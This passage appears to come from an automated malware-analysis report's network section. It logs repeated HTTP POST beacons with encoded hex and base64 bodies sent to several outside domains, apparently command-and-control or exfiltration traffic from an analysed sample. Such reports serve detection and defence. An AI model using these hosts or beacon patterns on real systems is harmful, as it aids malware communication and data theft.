47 6e 4f 37 34 4e 63 72 67 6b 75 6b 52 4f 4f 2f 79 52 52 78 49 42 67 4e 58 4a 4b 30 48 69 74 2f 51 54 6a 75 4a 62 61 43 67 39 66 55 61 6c 2f 76 65 2f 50 4d 6d 42 59 6d 72 2b 43 5a 54 68 49 6f 4b 57 34 66 41 75 4a 2b 6e 51 75 47 37 35 68 62 59 4c 35 34 31 41 58 63 4a 5a 4d 4d 44 6d 45 32 43 50 49 2f 79 54 72 5a 36 57 52 32 73 62 39 6d 70 6a 51 55 4d 52 33 44 38 4a 38 64 4e 68 4f 55 70 74 68 52 2b 68 31 46 54 59 2f 6f 2b 2b 4f 72 5a 71 78 31 38 4c 67 36 76 32 6c 47 77 79 69 53 62 5a 6b 70 76 54 6b 48 36 59 38 42 6c 4d 53 61 77 72 44 79 62 68 34 41 37 79 52 65 6c 6c 58 45 4f 4b 66 69 66 2b 7a 45 58 45 4d 2b 57 37 6d 4f 62 39 47 2b 4e 42 46 4d 7a 4b 52 39 67 30 76 69 33 6e 66 2f 32 50 38 72 6b 4d 64 59 78 4a 73 48 58 30 68 67 2b 62 36 42 5a 61 50 69 48 4a 35 6e 38 6d 70 38 6e 74 6a 35 73 6a 41 6b 6e 6d 58 58 64 5a 58 42 45 6d 58 78 61 6a 72 50 2f 6f 6e 6a 38 45 67 62 47 4b 2f 79 36 44 34 69 37 4c 35 4e 54 51 79 78 39 4c 41 31 50 52 35 57 66 66 34 41 71 6f 77 3d Data Ascii: axLBpT6EFPuZ2g4TCV44EyG88eb+MpbZUog6FOB3PXf3XMjDrR9E1lcGxucYGJVjwSYJ5WaMm/MfMEElkWyHhf70FJ716kqD8LC3b3uvqRoMatZU3tAYM9zyND3MMCiR2UxlXUg4wgn6zjZhdXB7CoPJcvQ+blwAYjp1XsVDHPt74cs4L/2PLrjoIYMTc/2yh4ERXJUNPVmOnP2TW42BqvcwttuD8KEhhAijyA/S7QEjln5enYizqmj46x/oJEUkjmPO2JozGnO74NcrgkukROO/yRRxIBgNXJK0Hit/QTjuJbaCg9fUal/ve/PMmBYmr+CZThIoKW4fAuJ+nQuG75hbYL541AXcJZMMDmE2CPI/yTrZ6WR2sb9mpjQUMR3D8J8dNhOUpthR+h1FTY/o++OrZqx18Lg6v2lGwyiSbZkpvTkH6Y8BlMSawrDybh4A7yRellXEOKfif+zEXEM+W7mOb9G+NBFMzKR9g0vi3nf/2P8rkMdYxJsHX0hg+b6BZaPiHJ5n8mp8ntj5sjAknmXXdZXBEmXxajrP/onj8EgbGK/y6D4i7L5NTQyx9LA1PR5Wff4Aqow=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 548User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.2print.comCache-Control: no-cacheData Raw: 4c 4d 41 53 30 56 77 74 4e 2f 74 7a 48 32 33 4b 68 2b 6c 4b 61 4f 38 6f 4b 69 4e 30 6e 65 73 44 55 4b 79 6b 61 78 7a 67 4a 61 50 2f 2f 63 79 77 32 71 64 73 4b 6c 37 52 67 49 63 46 4b 52 41 6a 41 31 75 6f 37 68 53 34 71 73 7a 72 67 5a 77 53 78 7a 53 6e 32 4a 45 73 62 4f 42 75 6a 4c 50 4a 68 58 34 43 43 73 30 66 66 47 52 44 32 32 39 4b 4c 50 59 55 73 55 64 63 32 76 6d 75 4b 67 44 6b 39 6b 53 34 6b 2b 38 66 62 43 62 59 4a 4d 45 5a 4d 56 64 68 30 6b 69 73 67 53 57 79 55 50 38 50 55 4c 67 50 44 73 70 45 6c 41 42 74 5a 49 6a 72 44 72 63 6c 5a 57 30 45 2b 76 56 42 43 4c 6d 67 6b 6e 65 46 77 52 4c 38 6d 43 31 32 74 73 61 44 79 64 68 7a 44 34 69 4e 68 53 46 42 65 52 57 5a 62 41 51 64 6c 32 4e 30 4d 76 66 70 56 66 52 35 59 45 4f 62 6b 48 4e 63 55 34 35 6a 51 43 58 57 47 2b 41 74 78 45 43 53 4f 6e 51 66 56 41 79 72 41 6a 30 54 6e 71 66 41 74 6e 37 53 34 43 44 6c 33 55 31 2f 46 34 59 4e 56 31 71 31 33 6b 7a 6d 70 70 79 4c 52 79 33 49 37 36 46 57 78 4f 53 63 43 2f 56 6c 41 35 48 4a 66 54 6a 78 65 55 63 57 73 55 31 42 42 64 73 2b 65 72 4d 47 68 6e 70 4e 6c 38 75 68 65 46 39 33 63 2b 77 61 6f 58 67 73 74 46 36 57 68 39 41 62 43 53 58 4f 49 31 42 43 74 6a 55 2b 38 6d 56 6d 34 54 6e 76 36 64 65 41 38 57 71 79 68 41 62 6c 54 72 62 64 71 57 4c 37 6f 68 58 68 55 55 62 43 51 62 4e 36 64 4a 45 32 34 49 33 6a 69 77 69 6c 6a 43 4d 76 6b 53 48 2f 34 31 57 4f 68 69 38 35 46 30 4f 70 4f 32 74 34 6b 75 4e 2b 75 55 76 52 51 77 76 78 61 33 2b 48 41 39 2f 63 6f 31 34 4e 77 6c 2b 56 45 54 63 41 51 4b 6e 62 74 59 6d 52 75 42 55 55 62 77 56 44 69 2f 57 54 78 4e 6c 38 44 47 54 41 6b 62 4f 43 73 36 74 68 48 63 65 47 59 65 4a 49 49 42 52 36 61 6e 70 6c Data Ascii: LMAS0VwtN/tzH23Kh+lKaO8oKiN0nesDUKykaxzgJaP//cyw2qdsKl7RgIcFKRAjA1uo7hS4qszrgZwSxzSn2JEsbOBujLPJhX4CCs0ffGRD229KLPYUsUdc2vmuKgDk9kS4k+8fbCbYJMEZMVdh0kisgSWyUP8PULgPDspElABtZIjrDrclZW0E+vVBCLmgkneFwRL8mC12tsaDydhzD4iNhSFBeRWZbAQdl2N0MvfpVfR5YEObkHNcU45jQCXWG+AtxECSOnQfVAyrAj0TnqfAtn7S4CDl3U1/F4YNV1q13kzmppyLRy3I76FWxOScC/VlA5HJfTjxeUcWsU1BBds+erMGhnpNl8uheF93c+waoXgstF6Wh9AbCSXOI1BCtjU+8mVm4Tnv6deA8WqyhAblTrbdqWL7ohXhUUbCQbN6dJE24I3jiwiljCMvkSH/41WOhi85F0OpO2t4kuN+uUvRQwvxa3+HA9/co14Nwl+VETcAQKnbtYmRuBUUbwVDi/WTxNl8DGTAkbOCs6thHceGYeJIIBR6anpl
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fe-bauer.deCache-Control: no-cacheData Raw: 69 6d 55 47 6d 67 7a 78 32 66 71 46 51 6a 46 75 64 2f 69 32 57 52 2b 59 63 41 4c 6b 30 6e 78 47 41 41 75 59 77 79 77 44 43 57 77 47 59 4d 4d 77 31 5a 7a 73 57 61 75 30 35 56 6d 31 4d 6b 69 44 31 57 35 78 68 6b 6d 57 48 42 71 5a 74 52 6b 39 74 43 46 6f 71 57 32 5a 64 4c 44 6f 45 42 75 50 69 75 77 59 67 43 73 47 34 6c 33 58 32 47 74 4c 69 38 54 52 32 6b 36 77 50 44 71 62 6b 35 65 61 79 6f 79 73 73 39 59 31 70 62 33 50 6d 4c 67 37 72 2f 53 31 2f 57 2b 72 79 31 78 46 49 63 4d 37 49 6a 52 43 4e 56 68 33 4e 34 72 58 34 57 44 62 66 6c 7a 44 59 32 68 44 54 62 4a 38 77 77 71 53 55 2f 68 73 45 70 71 77 75 77 74 34 66 32 4c 4f 2f 56 59 62 35 6a 61 39 77 65 32 46 4f 4b 62 45 52 30 79 39 34 72 54 78 54 54 71 58 41 68 48 54 47 73 6a 36 61 33 50 68 59 48 51 78 6d 62 67 6c 46 4d 4e 6c 5a 4c 74 30 4f 72 4f 37 70 58 7a 6c 4a 51 4b 73 5a 37 73 78 48 39 51 6e 4e 41 76 43 49 76 4c 4b 78 78 54 38 65 33 72 6e 73 54 39 5a 33 66 6a 37 4d 63 5a 2b 57 6c 6d 6f 73 68 76 2b 75 35 51 63 72 47 52 4b 55 6a 52 32 42 49 64 4b 4d 42 7a 65 5a 32 36 31 4b 7a 75 47 6e 6f 6c 37 31 32 79 70 48 4c 33 4e 70 6c 35 54 31 37 38 4f 4e 75 64 75 42 62 63 41 39 57 57 54 68 30 43 30 58 69 6b 68 61 71 6f 44 77 52 46 66 2f 62 74 4a 70 2f 4d 44 4f 78 53 2b 47 4a 55 73 55 57 73 45 49 6e 79 42 46 71 2b 6b 46 51 69 6e 69 4b 41 6b 36 41 38 52 61 37 32 71 36 7a 4c 76 67 53 77 64 4e 57 67 6b 2b 34 5a 6a 38 59 41 55 42 49 58 4f 62 72 6f 79 37 6f 6c 33 63 4b 42 2b 38 4c 65 76 72 50 31 57 4b 6e 75 6c 71 71 75 66 61 78 48 78 6b 33 6e 46 4f 2f 35 33 6f 2b 39 62 33 6d 51 56 57 41 43 4c 7a 51 46 70 5a 56 33 51 50 51 38 75 62 67 37 39 46 4a 36 44 38 4a 44 78 75 74 30 38 45 49 6b 31 42 4a 53 63 63 77 3d 3d Data Ascii: imUGmgzx2fqFQjFud/i2WR+YcALk0nxGAAuYwywDCWwGYMMw1ZzsWau05Vm1MkiD1W5xhkmWHBqZtRk9tCFoqW2ZdLDoEBuPiuwYgCsG4l3X2GtLi8TR2k6wPDqbk5eayoyss9Y1pb3PmLg7r/S1/W+ry1xFIcM7IjRCNVh3N4rX4WDbflzDY2hDTbJ8wwqSU/hsEpqwuwt4f2LO/VYb5ja9we2FOKbER0y94rTxTTqXAhHTGsj6a3PhYHQxmbglFMNlZLt0OrO7pXzlJQKsZ7sxH9QnNAvCIvLKxxT8e3rnsT9Z3fj7McZ+Wlmoshv+u5QcrGRKUjR2BIdKMBzeZ261KzuGnol712ypHL3Npl5T178ONuduBbcA9WWTh0C0XikhaqoDwRFf/btJp/MDOxS+GJUsUWsEInyBFq+kFQiniKAk6A8Ra72q6zLvgSwdNWgk+4Zj8YAUBIXObroy7ol3cKB+8LevrP1WKnulqqufaxHxk3nFO/53o+9b3mQVWACLzQFpZV3QPQ8ubg79FJ6D8JDxut08EIk1BJSccw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 596User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.medius.siCache-Control: no-cacheData Raw: 53 46 2f 55 67 30 33 6f 30 50 70 4e 48 78 52 45 78 47 30 65 35 51 59 79 6a 61 71 37 52 57 7a 58 30 63 56 50 76 6c 4b 65 78 65 42 62 50 59 42 6b 76 38 47 47 45 35 2b 58 64 37 47 51 4f 44 6a 44 55 4a 4a 63 47 54 38 73 62 62 76 59 62 46 6f 62 48 71 65 37 62 5a 39 5a 78 68 79 6b 47 67 58 67 30 76 4b 4f 30 65 4c 44 58 2f 50 37 35 47 30 49 75 34 47 72 79 74 79 36 6c 42 54 63 59 75 67 6f 73 70 76 48 43 68 50 4b 4e 44 49 45 30 4e 4e 56 72 52 58 63 39 70 53 71 30 43 61 71 74 6b 50 42 4b 4d 6c 61 4c 51 62 4c 67 31 37 30 64 6b 64 6e 55 6b 59 66 46 68 58 30 50 6f 33 57 72 4d 6b 42 6c 72 75 35 79 38 64 41 70 78 6e 42 32 66 4f 67 39 7a 68 67 4e 37 73 2b 6f 79 48 52 6f 65 78 43 48 34 53 44 4c 59 66 73 34 6a 2b 43 4f 35 38 58 33 48 32 30 41 66 6d 77 52 69 76 46 37 53 41 32 63 2b 54 30 67 35 76 6d 39 63 4a 58 61 62 34 62 53 76 6e 78 58 4f 66 34 33 78 78 36 41 6a 78 35 49 4f 73 73 30 72 74 54 62 63 6a 78 44 30 43 34 76 51 75 51 6d 36 56 62 59 44 4b 6b 56 4c 2b 56 44 44 4e 68 32 54 6b 77 54 67 43 55 6c 61 6a 32 42 71 4c 6d 77 59 4d 37 6e 33 68 4a 33 65 2f 41 6a 4b 75 4d 4e 4b 7a 70 37 4f 4b 62 36 32 44 39 7a 30 35 41 46 65 76 61 7a 68 53 4d 6a 6f 31 41 64 58 74 44 77 7a 33 56 6d 65 59 61 42 75 32 6c 49 5a 65 31 34 6d 6d 35 37 4a 41 4c 67 54 70 73 4d 4d 4a 31 4e 4b 38 4b 5a 53 63 4e 49 64 58 75 67 55 63 53 6a 59 38 67 72 4f 58 37 6a 6e 70 73 58 59 46 42 57 53 4b 64 4c 37 59 6a 58 62 67 65 72 68 41 45 77 62 48 37 54 79 79 4f 6b 6b 58 65 4f 52 6b 57 33 59 58 34 7a 49 47 6f 32 79 6b 68 54 52 43 32 61 59 47 43 43 32 79 6b 58 66 62 7a 4a 4b 4d 48 74 71 38 6a 4a 6a 30 4d 48 4f 2f 36 62 5a 74 33 4e 73 63 76 37 56 53 48 75 52 54 56 43 47 45 76 6f 38 2f 4a 79 6f 45 4f 79 72 58 69 45 39 72 52 31 6e 59 6c 30 32 41 68 76 31 6e 59 4c 49 75 72 63 44 47 64 56 51 6d 32 4e 4b 69 6c 5a 35 45 63 Data Ascii: SF/Ug03o0PpNHxRExG0e5QYyjaq7RWzX0cVPvlKexeBbPYBkv8GGE5+Xd7GQODjDUJJcGT8sbbvYbFobHqe7bZ9ZxhykGgXg0vKO0eLDX/P75G0Iu4Gryty6lBTcYugospvHChPKNDIE0NNVrRXc9pSq0CaqtkPBKMlaLQbLg170dkdnUkYfFhX0Po3WrMkBlru5y8dApxnB2fOg9zhgN7s+oyHRoexCH4SDLYfs4j+CO58X3H20AfmwRivF7SA2c+T0g5vm9cJXab4bSvnxXOf43xx6Ajx5IOss0rtTbcjxD0C4vQuQm6VbYDKkVL+VDDNh2TkwTgCUlaj2BqLmwYM7n3hJ3e/AjKuMNKzp7OKb62D9z05AFevazhSMjo1AdXtDwz3VmeYaBu2lIZe14mm57JALgTpsMMJ1NK8KZScNIdXugUcSjY8grOX7jnpsXYFBWSKdL7YjXbgerhAEwbH7TyyOkkXeORkW3YX4zIGo2ykhTRC2aYGCC2ykXfbzJKMHtq8jJj0MHO/6bZt3Nscv7VSHuRTVCGEvo8/JyoEOyrXiE9rR1nYl02Ahv1nYLIurcDGdVQm2NKilZ5Ec
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.jchysk.comCache-Control: no-cacheData Raw: 35 67 5a 78 48 75 7a 38 76 50 71 55 72 4c 52 6a 31 39 50 5a 39 2f 2f 79 6c 30 42 45 44 50 6d 57 34 43 7a 4a 44 31 45 6b 71 42 68 52 74 78 67 39 30 52 67 6f 53 6d 66 77 79 30 48 37 75 65 7a 61 2b 4b 6d 2f 48 4e 65 39 78 41 43 53 65 58 66 70 4c 36 62 6e 62 72 38 65 53 32 35 30 30 2f 49 6c 42 4f 48 5a 6b 4c 6a 53 59 49 67 6b 6c 6f 6d 34 44 5a 4d 44 58 4d 36 57 43 4b 6b 53 35 49 4d 79 72 43 33 51 42 46 55 56 75 4c 77 38 4c 66 4a 48 6e 6a 35 4b 2f 49 38 2f 4e 58 59 55 6d 63 2b 7a 54 55 42 48 6e 6c 38 65 65 37 4c 4f 39 55 52 31 53 38 64 62 2b 6d 4b 70 75 47 79 71 31 6a 41 39 2f 50 2f 52 55 76 55 2b 41 65 6b 33 4c 4a 6f 69 6e 62 4d 33 48 56 56 2b 50 44 39 62 75 57 50 44 59 73 73 6d 6f 36 61 73 61 41 62 45 54 4a 66 48 51 38 6a 37 6b 34 48 47 5a 44 54 65 73 65 6a 4b 76 42 66 59 50 56 48 72 55 43 56 36 44 51 42 69 2f 51 55 51 57 73 45 36 7a 39 44 30 30 6e 44 42 51 32 6e 66 47 44 63 7a 58 4f 2f 47 30 33 31 4b 52 4e 57 79 74 4c 2b 64 32 43 56 63 38 34 4e 62 33 34 54 50 31 51 42 2f 76 6e 68 4f 48 6f 6a 66 6a 4c 32 61 54 6b 32 32 58 4d 75 45 70 52 31 4d 2b 62 55 62 73 6d 4f 66 6f 69 7a 7a 33 73 44 4f 41 4c 62 67 38 39 4a 46 30 44 37 6b 55 4a 71 31 56 6a 6e 37 2b 4c 5a 77 32 47 4f 67 42 73 44 2b 30 51 73 49 73 69 6d 4e 54 51 37 37 4b 55 4d 4f 4d 58 54 59 41 64 66 35 42 4e 57 59 7a 30 33 2b 59 50 53 47 52 55 57 75 35 53 77 54 6a 65 62 62 74 67 65 78 31 64 4c 74 4d 72 4c 57 4d 6c 38 6a 2b 48 59 71 75 6f 79 70 63 34 4b 46 4b 4a 6d 66 7a 56 38 31 71 30 33 44 50 68 55 74 65 76 59 49 57 45 51 44 71 69 4b 39 63 62 6a 77 4e 57 37 4b 76 39 56 32 69 7a 59 58 79 76 59 38 41 39 6d 42 4c 7a 61 4f 41 52 6c 4b 2b 74 76 67 55 6f 38 3d Data Ascii: 5gZxHuz8vPqUrLRj19PZ9//yl0BEDPmW4CzJD1EkqBhRtxg90RgoSmfwy0H7ueza+Km/HNe9xACSeXfpL6bnbr8eS2500/IlBOHZkLjSYIgklom4DZMDXM6WCKkS5IMyrC3QBFUVuLw8LfJHnj5K/I8/NXYUmc+zTUBHnl8ee7LO9UR1S8db+mKpuGyq1jA9/P/RUvU+Aek3LJoinbM3HVV+PD9buWPDYssmo6asaAbETJfHQ8j7k4HGZDTesejKvBfYPVHrUCV6DQBi/QUQWsE6z9D00nDBQ2nfGDczXO/G031KRNWytL+d2CVc84Nb34TP1QB/vnhOHojfjL2aTk22XMuEpR1M+bUbsmOfoizz3sDOALbg89JF0D7kUJq1Vjn7+LZw2GOgBsD+0QsIsimNTQ77KUMOMXTYAdf5BNWYz03+YPSGRUWu5SwTjebbtgex1dLtMrLWMl8j+HYquoypc4KFKJmfzV81q03DPhUtevYIWEQDqiK9cbjwNW7Kv9V2izYXyvY8A9mBLzaOARlK+tvgUo8=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 572User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.c9dd.comCache-Control: no-cacheData Raw: 37 45 46 46 77 30 48 73 63 50 76 2b 44 44 79 68 49 4e 69 6c 45 52 70 2b 2b 31 36 2f 61 6b 70 68 42 57 2f 57 37 6b 62 43 51 6b 55 6c 6a 48 68 65 41 70 33 66 4a 39 4d 75 58 66 30 4c 70 56 33 35 7a 71 73 68 4e 4f 76 73 46 76 38 4d 30 42 72 66 4f 55 38 51 32 67 2f 67 4a 69 44 49 4a 6b 37 73 4e 43 53 5a 33 6b 7a 5a 6c 34 54 4b 4f 57 62 59 30 42 7a 42 72 32 32 41 41 54 51 6f 51 35 35 75 36 4b 4c 49 45 62 38 44 65 2f 63 6e 52 34 2b 66 44 4a 49 31 48 44 49 39 37 77 70 4b 53 30 4d 6f 68 36 42 41 49 41 53 65 66 30 50 31 78 75 55 78 7a 7a 41 77 78 79 52 63 77 45 73 77 47 54 49 37 4b 74 57 6c 46 2b 39 6f 57 34 6a 49 45 64 4f 4d 31 74 36 52 37 35 32 74 71 6c 39 53 45 78 6c 52 34 2f 4a 62 73 4d 4f 6c 6f 31 43 54 59 4a 4a 4b 62 62 44 37 33 4a 38 68 76 4d 53 62 34 31 36 62 31 41 63 79 6d 33 38 38 63 59 79 58 30 73 4c 48 32 5a 50 67 52 53 72 79 72 50 61 6e 66 42 52 56 2f 35 44 42 4e 63 4c 44 4d 30 30 37 43 35 76 49 71 6e 62 64 47 34 48 69 2f 44 4c 31 57 70 47 43 47 32 62 48 72 74 53 77 41 51 47 61 71 73 59 54 59 72 64 2b 70 67 6d 72 76 67 71 51 57 79 52 4e 6b 5a 73 65 75 4e 70 61 75 6b 6a 69 6e 4a 4e 4b 32 4b 4b 4e 36 50 67 75 4e 54 59 58 2b 33 62 63 49 42 62 72 57 47 46 78 69 75 50 71 71 7a 65 62 68 32 52 4b 7a 4a 78 4e 54 62 70 66 67 79 34 7a 36 32 5a 52 65 7a 4d 73 71 52 31 50 41 78 61 70 39 2b 52 41 48 4d 39 71 69 38 56 50 56 78 2b 46 76 4b 38 68 69 46 70 74 6f 67 4e 63 2b 6e 47 78 59 62 6a 73 31 76 31 65 2b 35 79 36 2b 35 73 6b 75 62 2f 4b 30 78 76 6f 6e 53 44 58 5a 63 65 41 49 75 79 75 43 44 4c 56 67 78 74 35 50 63 4b 4c 6f 75 34 69 50 72 6f 67 36 65 32 6f 64 42 70 46 43 36 36 52 6f 6d 54 2f 69 64 4d 4c 33 6c 6f 71 4e 52 33 72 38 79 50 38 4c 36 7a 72 43 4b 6b 5a 39 75 42 77 65 72 62 49 2f 77 3d 3d Data Ascii: 7EFFw0HscPv+DDyhINilERp++16/akphBW/W7kbCQkUljHheAp3fJ9MuXf0LpV35zqshNOvsFv8M0BrfOU8Q2g/gJiDIJk7sNCSZ3kzZl4TKOWbY0BzBr22AATQoQ55u6KLIEb8De/cnR4+fDJI1HDI97wpKS0Moh6BAIASef0P1xuUxzzAwxyRcwEswGTI7KtWlF+9oW4jIEdOM1t6R752tql9SExlR4/JbsMOlo1CTYJJKbbD73J8hvMSb416b1Acym388cYyX0sLH2ZPgRSryrPanfBRV/5DBNcLDM007C5vIqnbdG4Hi/DL1WpGCG2bHrtSwAQGaqsYTYrd+pgmrvgqQWyRNkZseuNpaukjinJNK2KKN6PguNTYX+3bcIBbrWGFxiuPqqzebh2RKzJxNTbpfgy4z62ZRezMsqR1PAxap9+RAHM9qi8VPVx+FvK8hiFptogNc+nGxYbjs1v1e+5y6+5skub/K0xvonSDXZceAIuyuCDLVgxt5PcKLou4iProg6e2odBpFC66RomT/idML3loqNR3r8yP8L6zrCKkZ9uBwerbI/w==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.crcsi.orgCache-Control: no-cacheData Raw: 44 73 6f 72 35 6d 73 4f 63 76 76 4a 32 44 6f 34 51 6c 42 72 32 39 51 6a 4d 67 63 78 34 55 4c 68 7a 36 34 70 6c 54 5a 50 36 63 55 32 35 38 35 54 62 79 7a 33 65 41 34 46 4f 78 4c 49 72 37 59 54 31 7a 48 63 2f 4d 44 6c 71 74 39 35 39 44 63 77 47 6a 39 30 68 48 66 78 42 5a 75 64 63 46 56 67 4d 53 6f 39 4d 79 47 4a 53 4f 70 45 2b 74 49 76 58 61 6e 45 50 35 37 55 44 47 61 6d 6e 54 58 58 7a 76 2f 6b 31 79 75 6d 50 77 37 41 59 45 2b 44 61 79 56 49 49 2f 55 4a 55 35 6f 48 52 4a 72 51 68 55 63 65 6c 4e 66 50 7a 5a 62 48 4e 6f 39 2f 68 5a 76 61 63 31 73 42 2b 6c 36 4e 49 54 32 6d 6e 76 30 51 68 59 49 4a 41 66 77 32 66 6a 6e 67 50 51 4a 48 6e 32 77 50 64 37 75 58 47 64 71 2f 55 72 47 6f 38 61 39 41 37 67 63 56 4e 4e 70 69 4d 51 72 5a 46 31 47 52 6a 2b 46 50 43 6d 41 70 66 73 56 32 58 54 6f 35 35 44 67 36 4f 54 64 71 77 4b 6c 66 68 61 2f 54 52 6f 54 61 54 4f 48 76 57 4a 6d 34 73 7a 47 4d 58 57 59 46 33 4f 45 62 4f 79 4f 70 76 47 45 35 46 56 55 4b 4a 74 38 52 4b 66 67 4d 62 4b 30 42 36 4d 48 35 42 59 58 50 61 31 50 72 30 69 75 58 67 33 78 38 6a 4d 54 62 54 69 69 33 55 32 4c 30 6e 52 6f 6f 4f 68 4f 51 76 4e 45 43 72 4e 69 66 4d 58 77 6b 47 57 46 50 52 2f 78 49 79 67 6d 6d 33 67 6a 73 4b 34 47 2f 4f 5a 44 51 4f 67 39 65 79 63 67 78 4c 72 76 4a 6c 5a 65 42 69 33 34 70 2f 41 75 5a 2f 58 45 4b 6a 74 6a 45 4c 77 33 63 72 62 67 70 30 42 45 72 6c 55 30 2f 2f 70 46 79 50 32 57 34 76 37 6c 79 62 72 43 6e 78 48 53 7a 68 79 43 63 66 50 70 38 6d 77 69 42 44 55 44 31 72 4e 48 43 50 77 77 46 55 6e 75 73 7a 49 4a 30 74 51 6f 37 6f 51 73 4e 55 44 70 63 39 72 49 2f 68 79 48 43 46 66 42 2f 78 69 75 77 6e 51 36 67 65 46 52 67 4d 45 36 6a 51 78 73 30 38 47 73 6b 36 38 68 38 70 79 51 6a 33 52 75 74 6f 5a 45 56 64 6d 50 70 62 54 74 50 46 49 6a 79 43 79 62 61 53 4d 66 51 4c 4e 65 6a Data Ascii: Dsor5msOcvvJ2Do4QlBr29QjMgcx4ULhz64plTZP6cU2585Tbyz3eA4FOxLIr7YT1zHc/MDlqt959DcwGj90hHfxBZudcFVgMSo9MyGJSOpE+tIvXanEP57UDGamnTXXzv/k1yumPw7AYE+DayVII/UJU5oHRJrQhUcelNfPzZbHNo9/hZvac1sB+l6NIT2mnv0QhYIJAfw2fjngPQJHn2wPd7uXGdq/UrGo8a9A7gcVNNpiMQrZF1GRj+FPCmApfsV2XTo55Dg6OTdqwKlfha/TRoTaTOHvWJm4szGMXWYF3OEbOyOpvGE5FVUKJt8RKfgMbK0B6MH5BYXPa1Pr0iuXg3x8jMTbTii3U2L0nRooOhOQvNECrNifMXwkGWFPR/xIygmm3gjsK4G/OZDQOg9eycgxLrvJlZeBi34p/AuZ/XEKjtjELw3crbgp0BErlU0//pFyP2W4v7lybrCnxHSzhyCcfPp8mwiBDUD1rNHCPwwFUnuszIJ0tQo7oQsNUDpc9rI/hyHCFfB/xiuwnQ6geFRgME6jQxs08Gsk68h8pyQj3RutoZEVdmPpbTtPFIjyCybaSMfQLNej
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fe-bauer.deCache-Control: no-cacheData Raw: 69 6d 55 47 6d 67 7a 78 32 66 71 46 51 6a 46 75 64 2f 69 32 57 52 2b 59 63 41 4c 6b 30 6e 78 47 41 41 75 59 77 79 77 44 43 57 77 47 59 4d 4d 77 31 5a 7a 73 57 61 75 30 35 56 6d 31 4d 6b 69 44 31 57 35 78 68 6b 6d 57 48 42 71 5a 74 52 6b 39 74 43 46 6f 71 57 32 5a 64 4c 44 6f 45 42 75 50 69 75 77 59 67 43 73 47 34 6c 33 58 32 47 74 4c 69 38 54 52 32 6b 36 77 50 44 71 62 6b 35 65 61 79 6f 79 73 73 39 59 31 70 62 33 50 6d 4c 67 37 72 2f 53 31 2f 57 2b 72 79 31 78 46 49 63 4d 37 49 6a 52 43 4e 56 68 33 4e 34 72 58 34 57 44 62 66 6c 7a 44 59 32 68 44 54 62 4a 38 77 77 71 53 55 2f 68 73 45 70 71 77 75 77 74 34 66 32 4c 4f 2f 56 59 62 35 6a 61 39 77 65 32 46 4f 4b 62 45 52 30 79 39 34 72 54 78 54 54 71 58 41 68 48 54 47 73 6a 36 61 33 50 68 59 48 51 78 6d 62 67 6c 46 4d 4e 6c 5a 4c 74 30 4f 72 4f 37 70 58 7a 6c 4a 51 4b 73 5a 37 73 78 48 39 51 6e 4e 41 76 43 49 76 4c 4b 78 78 54 38 65 33 72 6e 73 54 39 5a 33 66 6a 37 4d 63 5a 2b 57 6c 6d 6f 73 68 76 2b 75 35 51 63 72 47 52 4b 55 6a 52 32 42 49 64 4b 4d 42 7a 65 5a 32 36 31 4b 7a 75 47 6e 6f 6c 37 31 32 79 70 48 4c 33 4e 70 6c 35 54 31 37 38 4f 4e 75 64 75 42 62 63 41 39 57 57 54 68 30 43 30 58 69 6b 68 61 71 6f 44 77 52 46 66 2f 62 74 4a 70 2f 4d 44 4f 78 53 2b 47 4a 55 73 55 57 73 45 49 6e 79 42 46 71 2b 6b 46 51 69 6e 69 4b 41 6b 36 41 38 52 61 37 32 71 36 7a 4c 76 67 53 77 64 4e 57 67 6b 2b 34 5a 6a 38 59 41 55 42 49 58 4f 62 72 6f 79 37 6f 6c 33 63 4b 42 2b 38 4c 65 76 72 50 31 57 4b 6e 75 6c 71 71 75 66 61 78 48 78 6b 33 6e 46 4f 2f 35 33 6f 2b 39 62 33 6d 51 56 57 41 43 4c 7a 51 46 70 5a 56 33 51 50 51 38 75 62 67 37 39 46 4a 36 44 38 4a 44 78 75 74 30 38 45 49 6b 31 42 4a 53 63 63 77 3d 3d Data Ascii: imUGmgzx2fqFQjFud/i2WR+YcALk0nxGAAuYwywDCWwGYMMw1ZzsWau05Vm1MkiD1W5xhkmWHBqZtRk9tCFoqW2ZdLDoEBuPiuwYgCsG4l3X2GtLi8TR2k6wPDqbk5eayoyss9Y1pb3PmLg7r/S1/W+ry1xFIcM7IjRCNVh3N4rX4WDbflzDY2hDTbJ8wwqSU/hsEpqwuwt4f2LO/VYb5ja9we2FOKbER0y94rTxTTqXAhHTGsj6a3PhYHQxmbglFMNlZLt0OrO7pXzlJQKsZ7sxH9QnNAvCIvLKxxT8e3rnsT9Z3fj7McZ+Wlmoshv+u5QcrGRKUjR2BIdKMBzeZ261KzuGnol712ypHL3Npl5T178ONuduBbcA9WWTh0C0XikhaqoDwRFf/btJp/MDOxS+GJUsUWsEInyBFq+kFQiniKAk6A8Ra72q6zLvgSwdNWgk+4Zj8YAUBIXObroy7ol3cKB+8LevrP1WKnulqqufaxHxk3nFO/53o+9b3mQVWACLzQFpZV3QPQ8ubg79FJ6D8JDxut08EIk1BJSccw==
